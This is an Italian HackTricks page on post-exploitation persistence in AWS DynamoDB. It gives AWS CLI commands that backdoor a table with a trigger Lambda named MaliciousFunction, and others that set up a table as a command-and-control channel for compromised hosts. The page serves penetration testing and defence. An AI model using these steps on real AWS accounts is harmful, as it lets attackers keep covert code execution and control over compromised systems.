AWS - DynamoDB Persistence

Supporta HackTricks

DynamoDB

Per maggiori informazioni accedi a:

AWS - DynamoDB Enum

DynamoDB Triggers con Lambda Backdoor

Utilizzando i trigger di DynamoDB, un attaccante può creare una backdoor furtiva associando una funzione Lambda dannosa a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, permettendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda dannosa. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda.

DynamoDB come canale C2

Un attaccante può utilizzare una tabella DynamoDB come canale di comando e controllo (C2) creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo permette all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse.

Supporta HackTricks

Last updated